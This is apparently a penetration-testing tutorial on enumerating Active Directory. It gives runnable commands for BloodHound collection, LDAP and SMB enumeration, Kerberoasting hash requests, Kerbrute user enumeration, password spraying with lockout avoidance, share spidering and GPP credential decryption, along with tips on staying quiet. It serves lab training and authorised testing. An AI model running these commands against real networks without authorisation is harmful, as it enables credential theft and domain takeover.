- Active Directory (AD) is found in most enterprise environments — compromising it means owning the organisation
- Domain enumeration requires only a valid domain user account — low privilege is enough to start
- BloodHound maps the entire domain attack graph and shows the shortest path to Domain Admin
- Service Principal Names (SPNs) are the entry point for Kerberoasting
- ACL misconfigurations (WriteDACL, GenericAll, GenericWrite) are the hidden privilege escalation paths most pentesters miss
Prerequisites
- Valid domain credentials (even a low-privilege account)
- Network access to the Domain Controller (TCP 389 LDAP, TCP 445 SMB, TCP 88 Kerberos)
- Completed: How Authentication Works (Kerberos section), Reconnaissance
Lab: HackTheBox machines — Forest, Active, Resolute, Return. TryHackMe "Active Directory Basics" room. Set up your own lab with Windows Server 2019 evaluation + Windows 10 eval (both free from Microsoft).
What is Active Directory?
Active Directory is Microsoft's directory service — a centralised database of every object in a Windows enterprise: users, computers, groups, printers, policies, and more.
Key components:
| Component | Description |
|---|---|
| Domain | The boundary of administration (corp.local) |
| Forest | One or more domains with trust relationships |
| Domain Controller (DC) | Server running AD — holds the database (NTDS.dit) |
| LDAP | Protocol for querying the AD database (port 389/636) |
| Kerberos | Authentication protocol (port 88) |
| SMB | File sharing, used for Group Policy delivery (port 445) |
| DNS | AD-integrated DNS — every object has a DNS record |
| NTDS.dit | The database file containing all user hashes |
Every Domain Controller stores a copy of NTDS.dit. This single file contains the NTLM hashes for every user in the domain. Extracting it — via DCSync or VSS shadow copy — is the endgame of most AD engagements.
First Steps — Situational Awareness
The moment you have a domain user account, start enumeration immediately.
# On a Windows host joined to the domain
whoami /all # Your user + groups + privileges
net user /domain # All domain users
net group /domain # All domain groups
net group "Domain Admins" /domain # Members of Domain Admins
nltest /domain_trusts # Trust relationships# From Linux with valid creds (crackmapexec)
crackmapexec smb 192.168.1.0/24 -u 'user' -p 'password' # Find DCs and live hosts
crackmapexec smb DC_IP -u 'user' -p 'password' --users # Enumerate users
crackmapexec smb DC_IP -u 'user' -p 'password' --groups # Enumerate groups
crackmapexec smb DC_IP -u 'user' -p 'password' --shares # List sharesLDAP Queries — Direct Database Access
LDAP is the query language for Active Directory. You can enumerate everything with it.
# ldapsearch from Linux
ldapsearch -x -H ldap://DC_IP -D "user@corp.local" -w "password" \
-b "DC=corp,DC=local" "(objectClass=user)" sAMAccountName mail
# Get all users
ldapsearch -x -H ldap://DC_IP -D "user@corp.local" -w "password" \
-b "DC=corp,DC=local" "(&(objectClass=user)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))" \
sAMAccountName description
# Find accounts with no pre-auth required (AS-REP Roasting targets)
ldapsearch -x -H ldap://DC_IP -D "user@corp.local" -w "password" \
-b "DC=corp,DC=local" "(userAccountControl:1.2.840.113556.1.4.803:=4194304)" sAMAccountName# PowerShell — Active Directory module
Import-Module ActiveDirectory
Get-ADUser -Filter * -Properties * # All users with all properties
Get-ADUser -Filter * | Select Name,SamAccountName,Enabled # Formatted list
Get-ADGroupMember "Domain Admins" -Recursive # Nested group members
Get-ADComputer -Filter * -Properties OperatingSystem # All computers + OSBloodHound — The Attack Path Engine
BloodHound ingests AD data and builds a graph showing every permission relationship. It then computes the shortest path to Domain Admin from any starting node.
BloodHound Setup Workflow
- 1Start BloodHound + Neo4j
sudo neo4j console > then open BloodHound app
- 2Run SharpHound collector
SharpHound.exe -c All --zipfilename output.zip
- 3Or run from Linux
bloodhound-python -u user -p pass -d corp.local -c All -dc DC_IP
- 4Upload the ZIP to BloodHound
Drag and drop into the interface
- 5Run pre-built queries
'Shortest Path to Domain Admins' — always start here
- 6Mark your owned nodes
Right-click > Mark as Owned on your current account
Key BloodHound Queries
| Query | What it finds |
|---|---|
| Shortest Path to Domain Admins | The attack chain you need |
| Find all Domain Admin sessions | Where DA tokens are cached |
| Find principals with DCSync rights | Who can dump all hashes |
| Find AS-REP roastable users | Kerberoasting targets (no pre-auth) |
| Find Kerberoastable users | Accounts with SPNs |
| Find computers where DA is logged in | Where to hunt for DA tokens |
# SharpHound from Linux (no AD module needed)
pip3 install bloodhound
bloodhound-python -u 'user' -p 'password' -d corp.local -c All --dc DC_IP
# Collect only specific data types to be faster/quieter
bloodhound-python -u 'user' -p 'password' -d corp.local -c Session,ACL --dc DC_IPSPN Enumeration — Finding Kerberoastable Accounts
Service Principal Names (SPNs) identify services. Any domain user can request a Kerberos service ticket for any SPN — the ticket is encrypted with the service account's password hash.
# Find all accounts with SPNs (Kerberoasting targets)
setspn -T corp.local -Q */*
# Or with AD module
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName# From Linux
impacket-GetUserSPNs corp.local/user:password -dc-ip DC_IP
impacket-GetUserSPNs corp.local/user:password -dc-ip DC_IP -request # Get hashes tooLook for SPNs on accounts with names like svc_sql, sqlservice, svc_backup, iis_svc. Service accounts often have weak passwords that were set years ago and never changed. They also frequently have elevated privileges.
User Enumeration — Beyond net user
# Enumerate with enum4linux-ng (SMB-based)
enum4linux-ng -A DC_IP
# Kerbrute — fast username enumeration via Kerberos pre-auth errors
kerbrute userenum --dc DC_IP -d corp.local usernames.txt
# CrackMapExec — password spraying with lockout avoidance
crackmapexec smb DC_IP -u users.txt -p 'Password123!' --continue-on-success
# Check password policy before spraying
crackmapexec smb DC_IP -u 'user' -p 'password' --pass-polAlways check the domain password policy before spraying. A 3-attempt lockout with a 30-minute window means you can spray once every 30 minutes. Spraying too fast = locking out every account in the domain = immediate detection + incident.
ACL Enumeration — The Hidden Attack Paths
Active Directory uses Access Control Lists (ACLs) to control who can do what to which objects. Misconfigurations here are the most commonly overlooked privilege escalation paths.
Dangerous ACL Permissions
| Permission | Object type | What an attacker can do |
|---|---|---|
GenericAll | User | Reset password, add to groups, modify ACLs |
GenericWrite | User | Write to most attributes, including scriptPath |
WriteDACL | Any | Modify the object's ACL > grant yourself GenericAll |
WriteOwner | Any | Become object owner > then WriteDACL |
ForceChangePassword | User | Change password without knowing current |
GenericAll | Group | Add yourself or any user to the group |
GenericAll | Computer | Configure RBCD (Resource-Based Constrained Delegation) |
Owns | Any | Owner can modify ACL |
# Find interesting ACLs (BloodHound does this automatically)
# Manual PowerView approach:
Import-Module PowerView.ps1
# Find all objects where a specified user has interesting rights
Find-InterestingDomainAcl -ResolveGUIDs | Where-Object {$_.IdentityReferenceName -eq "john"}
# Check ACLs on a specific object
Get-ObjectAcl -SamAccountName "targetuser" -ResolveGUIDs |
Where-Object {$_.ActiveDirectoryRights -match "GenericAll|WriteDACL|GenericWrite"}Share Enumeration — Where Data Lives
Network shares are often misconfigured with excessive read access.
# Find all accessible shares
crackmapexec smb 192.168.1.0/24 -u 'user' -p 'password' --shares
# Spider shares for sensitive files
crackmapexec smb DC_IP -u 'user' -p 'password' -M spider_plus
# Smbclient — manual exploration
smbclient //DC_IP/SYSVOL -U 'corp.local\user%password'
smbclient //DC_IP/NETLOGON -U 'corp.local\user%password'
# Find files with interesting names recursively
smbmap -H DC_IP -u user -p password -R SHARE --dir-onlySYSVOL is readable by all domain users and stores Group Policy files. Pre-2014, Group Policy Preferences (GPP) stored credentials encrypted with a key Microsoft published. gpp-decrypt decrypts them instantly. Also look for scripts in SYSVOL that reference credentials.
Group Policy Enumeration
Group Policy controls every Windows setting across the domain.
# List all GPOs
Get-GPO -All | Select DisplayName, GpoStatus
# Find GPOs linked to specific OUs
Get-GPInheritance -Target "OU=Workstations,DC=corp,DC=local"
# Download and parse GPOs
Import-Module PowerView.ps1
Get-DomainGPO | Select displayname, gpcfilesyspath# From Linux
crackmapexec smb DC_IP -u 'user' -p 'password' --gpoTrust Relationships — Cross-Domain Attack Paths
Forests can have trust relationships. Exploiting trust relationships allows lateral movement across domains.
# Enumerate trusts
Get-ADTrust -Filter *
nltest /domain_trusts /all_trusts
# Check if SID filtering is enabled (disabling it = SID history abuse)
nltest /domain_trusts /all_trusts| Trust Type | Direction | What it means |
|---|---|---|
| Parent-child | Bidirectional | Automatic within a forest |
| External | One or two way | Domain-to-domain across forests |
| Forest | One or two way | Full forest trust |
Operational Notes
- Always start with BloodHound — it gives you the full picture in 5 minutes. Manual enumeration fills in the gaps BloodHound misses.
- Low-and-slow — BloodHound's SharpHound with
-c Allgenerates a lot of LDAP traffic. Use-c DCOnlyor-c Session,ACLduring stealthy engagements. - LDAP signing — Windows Server 2022+ enforces LDAP signing by default, breaking unsigned LDAP queries. Use authenticated, signed queries.
- Nested groups — always resolve groups recursively. A user in "IT Support" > "IT Admins" > "Domain Admins" won't show up in a flat group listing.
- Description fields — people leave passwords in the Description field of user accounts. Filter for non-empty descriptions in your LDAP query.
What to Read Next
- Active Directory Exploitation — take the attack paths BloodHound identified and execute them
- Password Attacks — Kerberoasting and AS-REP Roasting attacks live here
- Post-Exploitation — once you have Domain Admin, what do you do with it?